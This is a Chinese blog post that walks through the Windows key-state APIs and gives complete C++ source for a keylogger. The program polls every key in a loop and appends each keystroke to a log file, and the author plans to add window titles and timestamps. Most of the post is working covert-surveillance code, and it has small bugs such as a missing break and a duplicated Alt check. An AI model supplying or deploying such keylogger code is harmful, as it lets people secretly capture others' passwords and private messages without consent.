首先,我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的,那我就直接去分析看懂别的人的代码,从中学习并且自己再重新实现一遍,再做些改进。
先来介绍一下所用到的API:
1、fstream这是一个C++处理文件的一个类,里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。
2、GetAsyncKeyState:
函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的,以及此按键是否在上一次调用GetAsyncKeyState之后(“又”)按下过(重复也算按下)。
如果函数成功,则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过,以及此按键当前是弹起的还是按下的。如果最高比特位被设置(就是被设为1),此按键就是按下的,并且没有弹起,如果最低位被设置,则此按键在上次调用GetAsyncKeyState之后(“又”)被按下过。但是你不应该依赖于之前的(按键)行为
3、GetKeyState
以一个虚拟键位参数,返回这个虚拟键的状态,是按下还是弹起,抑或是像大写锁定键这样的按键的具体触发状态。
若高序位为1,则键处于DOWN状态,否则为UP状态。
若低序位为1,则键被触发。例如CAPS LOCK键,被找开时将被触发。若低序位置为0,则键被关闭,且不被触发。触发键在键盘上的指示灯,当键被触发时即亮,键不被触发时即灭。
具体检查这些状态的时候都需要用位运算的形式才计算。
接下来是具体的代码,注释我应该写的很清楚
#include<iostream> #include<stdio.h> #include<stdlib.h> #include <windows.h> #include <Winuser.h> #include <string> #include <fstream> using namespace std; const int KeyBoardValue = 0x80000000; string GetKeyName(int); bool JudgeShift();
#include"Main.h" int main() { string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt"; string KeyName = ""; fstream FileStream; FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app); while(1) { Sleep(5); for(int i = 8; i <= 255; i++) { if(GetAsyncKeyState(i)&1 == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 { KeyName = GetKeyName(i); FileStream.write(KeyName.c_str(), KeyName.size()); FileStream.close(); //写完一次就保存一次 FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app); } } } return 0; } string GetKeyName(int NumKey) { bool IS_SHIFT = JudgeShift(); string revalue = ""; //判断键盘中间的特殊符号 if(NumKey >= 186 && NumKey <= 222) switch(NumKey) { case 186: if(IS_SHIFT) revalue = ":"; else revalue = ";"; break; case 187: if(IS_SHIFT) revalue = "+"; else revalue = "="; break; case 188: if(IS_SHIFT) revalue = "<"; else revalue = ","; break; case 189: if(IS_SHIFT) revalue = "_"; else revalue = "-"; break; case 190: if(IS_SHIFT) revalue = ">"; else revalue = "."; break; case 191: if(IS_SHIFT) revalue = "?"; else revalue = "/"; break; case 192: if(IS_SHIFT) revalue = "~"; else revalue = "`"; break; case 219: if(IS_SHIFT) revalue = "{"; else revalue = "["; break; case 220: if(IS_SHIFT) revalue = "|"; else revalue = "\\"; break; case 221: if(IS_SHIFT) revalue = "}"; else revalue = "]"; break; case 222: if(IS_SHIFT) revalue = '"'; else revalue = ","; default: revalue = "error"; break; } if (NumKey == VK_ESCAPE) // 退出 revalue = "[Esc]"; else if (NumKey == VK_F1) // F1至F12 revalue = "[F1]"; else if (NumKey == VK_F2) revalue = "[F2]"; else if (NumKey == VK_F3) revalue = "[F3]"; else if (NumKey == VK_F4) revalue = "[F4]"; else if (NumKey == VK_F5) revalue = "[F5]"; else if (NumKey == VK_F6) revalue = "[F6]"; else if (NumKey == VK_F7) revalue = "[F7]"; else if (NumKey == VK_F8) revalue = "[F8]"; else if (NumKey == VK_F9) revalue = "[F9]"; else if (NumKey == VK_F10) revalue = "[F10]"; else if (NumKey == VK_F11) revalue = "[F11]"; else if (NumKey == VK_F12) revalue = "[F12]"; else if (NumKey == VK_SNAPSHOT) // 打印屏幕 revalue = "[PrScrn]"; else if (NumKey == VK_SCROLL) // 滚动锁定 revalue = "[Scroll Lock]"; else if (NumKey == VK_PAUSE) // 暂停、中断 revalue = "[Pause]"; else if (NumKey == VK_CAPITAL) // 大写锁定 revalue = "[Caps Lock]"; else if (NumKey == 8) //<- 回格键 revalue = "[Backspace]"; else if (NumKey == VK_RETURN) // 回车键、换行 revalue = "[Enter]\n"; else if (NumKey == VK_SPACE) // 空格 revalue = " "; else if (NumKey == VK_TAB) // 制表键 revalue = "[Tab]"; else if (NumKey == VK_LCONTROL) // 左控制键 revalue = "[Ctrl]"; else if (NumKey == VK_RCONTROL) // 右控制键 revalue = "[CTRL]"; else if (NumKey == VK_LMENU) // 左换档键 revalue = "[Alt]"; else if (NumKey == VK_LMENU) // 右换档键 revalue = "[ALT]"; else if (NumKey == VK_LWIN) // 右 WINDOWS 键 revalue = "[Win]"; else if (NumKey == VK_RWIN) // 右 WINDOWS 键 revalue = "[WIN]"; else if (NumKey == VK_APPS) // 键盘上 右键 revalue = "右键"; else if (NumKey == VK_INSERT) // 插入 revalue = "[Insert]"; else if (NumKey == VK_DELETE) // 删除 revalue = "[Delete]"; else if (NumKey == VK_HOME) // 起始 revalue = "[Home]"; else if (NumKey == VK_END) // 结束 revalue = "[End]"; else if (NumKey == VK_PRIOR) // 上一页 revalue = "[PgUp]"; else if (NumKey == VK_NEXT) // 下一页 revalue = "[PgDown]"; // 不常用的几个键:一般键盘没有 else if (NumKey == VK_CANCEL) // Cancel revalue = "[Cancel]"; else if (NumKey == VK_CLEAR) // Clear revalue = "[Clear]"; else if (NumKey == VK_SELECT) //Select revalue = "[Select]"; else if (NumKey == VK_PRINT) //Print revalue = "[Print]"; else if (NumKey == VK_EXECUTE) //Execute revalue = "[Execute]"; //----------------------------------------// else if (NumKey == VK_LEFT) //上、下、左、右键 revalue = "[←]"; else if (NumKey == VK_RIGHT) revalue = "[→]"; else if (NumKey == VK_UP) revalue = "[↑]"; else if (NumKey == VK_DOWN) revalue = "[↓]"; else if (NumKey == VK_NUMLOCK)//小键盘数码锁定 revalue = "[NumLock]"; else if (NumKey == VK_ADD) // 加、减、乘、除 revalue = "+"; else if (NumKey == VK_SUBTRACT) revalue = "-"; else if (NumKey == VK_MULTIPLY) revalue = "*"; else if (NumKey == VK_DIVIDE) revalue = "/"; else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 . revalue = "."; //小键盘数字键:0-9 else if (NumKey == VK_NUMPAD0) revalue = "0"; else if (NumKey == VK_NUMPAD1) revalue = "1"; else if (NumKey == VK_NUMPAD2) revalue = "2"; else if (NumKey == VK_NUMPAD3) revalue = "3"; else if (NumKey == VK_NUMPAD4) revalue = "4"; else if (NumKey == VK_NUMPAD5) revalue = "5"; else if (NumKey == VK_NUMPAD6) revalue = "6"; else if (NumKey == VK_NUMPAD7) revalue = "7"; else if (NumKey == VK_NUMPAD8) revalue = "8"; else if (NumKey == VK_NUMPAD9) revalue = "9"; //----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------// else if(NumKey >=65 && NumKey <= 90) { if(GetKeyState(VK_CAPITAL)) { if(IS_SHIFT) revalue = NumKey + 32; else revalue = NumKey; } else { if(IS_SHIFT) revalue = NumKey; else revalue = NumKey + 32; } } //---------------------------上面的部分判断键盘上的字母----------------------------------------------// else if(NumKey >= 48 && NumKey <= 57) { if(IS_SHIFT) { switch (NumKey) { case 48:revalue = ")";break; case 49:revalue = "!";break; case 50:revalue = "@";break; case 51:revalue = "#";break; case 52:revalue = "$";break; case 53:revalue = "%";break; case 54:revalue = "^";break; case 55:revalue = "&";break; case 56:revalue = "*";break; case 57:revalue = "(";break; } } else { switch (NumKey) { case 48:revalue = "0";break; case 49:revalue = "1";break; case 50:revalue = "2";break; case 51:revalue = "3";break; case 52:revalue = "4";break; case 53:revalue = "5";break; case 54:revalue = "6";break; case 55:revalue = "7";break; case 56:revalue = "8";break; case 57:revalue = "9";break; } } } return revalue; } bool JudgeShift() { int iShift=GetKeyState(0x10); //判断Shift键状态 bool IS=(iShift & KeyBoardValue)==KeyBoardValue; //表示按下Shift键 if(IS) return 1; else return 0; }
基本上实现了键盘出了HOME键那部分所有的按键记录,这只是先实现一下最基本的功能,后续的版本应该还有把输入的窗口的名字获取到,时间,内容,还有一些组合键都会涉及到。
原文地址:http://blog.csdn.net/xr_acmer/article/details/39156551